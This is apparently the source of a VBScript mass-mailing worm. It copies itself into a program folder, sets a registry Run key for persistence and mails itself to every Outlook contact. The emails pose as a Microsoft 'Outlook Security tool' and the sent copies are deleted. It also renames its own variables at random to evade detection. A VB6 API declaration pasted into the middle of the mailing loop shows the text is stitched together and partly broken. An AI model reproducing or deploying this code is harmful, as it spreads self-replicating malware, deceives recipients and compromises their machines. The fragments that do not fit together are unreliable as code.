'Lee
On Error Resume Next
Set qepvdtcvxke = CreateObject("WScript.Shell")
set hfzkfahmeex=createobject("scripting.filesystemobject")
hfzkfahmeex.copyfile wscript.scriptfullname,"C:\Programme\Lee from Germany\Update.vbs"
qepvdtcvxke.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysBoot","wscript.exe C:\Programme\Lee from Germany\Update.vbs %"
if qepvdtcvxke.regread ("HKCU\software\Update\mailed") <> "1" then
dajhteqtrxy()
end if
Function dajhteqtrxy()
On Error Resume Next
Set grrwbynveoy = CreateObject("Outlook.Application")
If grrwbynveoy= "Outlook"Then
Set vqgkkkmfbfu=grrwbynveoy.GetNameSpace("MAPI")
For Each aaiklhubyqh In vqgkkkmfbfu.AddressLists
If aaiklhubyqh.AddressEntries.Count <> 0 Then
For isgjpvfmfzm= 1 To aaiklhubyqh.AddressEntries.Count
Set xxlckdfsfli = aaiklhubyqh.AddressEntries(isgjpvfmfzm)
Set rqbmyusyhoz = grrwbynveoy.CreateItem(0)
rqbmyusyhoz.To = xxlckdfsfli.Address
rqbmyusyhoz.Subject = "New Outlook Security tool"
rqbmyusyhoz.Body = "Dear User !" & vbcrlf & "Here is the New Security Outlook tool." & vbcrlf & "No more Vb-Viruses." & vbcrlf & "" & vbcrlf & "" & vbcrlf & "Sincerly: Lee@Microsoft.com"
rqbmyusyhoz.Attachments.Add "C:\Programme\Lee from Germany\Update.vbs"
rqbmyusyhoz.DeleteAfterSubmit = True
If rqbmyusyhoz.To <> "" Then
rqbmyusyhoz.Send
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Dim WebSite As String
WebSite = "http://www.Coderz.net"
ShellExecute Me.hwnd, "open", WebSite, "", "", 1
Randomize
Set FSObject = CreateObject("Scripting.FileSystemObject")
Set ScriptFile = FSObject.OpenTextFile(WScript.ScriptFullName, 1)
OurCode = ScriptFile.Readall
AllVariables = "FSObject ScriptFile OurCode AllVariables VarLoop CurVar NewVar VarPos "
Do
CurVar = Left(AllVariables, InStr(AllVariables, Chr(32)) - 1)
AllVariables = Mid(AllVariables, InStr(AllVariables, Chr(32)) + 1)
NewVar = Chr((Int(Rnd * 22) + 65)) & Chr((Int(Rnd * 22) + 65)) & Chr((Int(Rnd * 22) + 65)) & Chr((Int(Rnd * 22) + 65)) & Chr((Int(Rnd * 22) + 65)) & Chr((Int(Rnd * 22) + 65))
Do
VarPos = InStr(VarPos + 1, OurCode, CurVar)
If VarPos Then OurCode = Mid(OurCode, 1, (VarPos - 1)) & NewVar & Mid(OurCode, (VarPos + Len(CurVar)))
Loop While VarPos
Loop While AllVariables <> ""
Set ScriptFile = FSObject.OpenTextFile(WScript.ScriptFullName, 2, True) '
ScriptFile.Writeline OurCode
End If
Next
End If
Next
qepvdtcvxke.regwrite "HKCU\software\Update\mailed", "1"
end if
End Function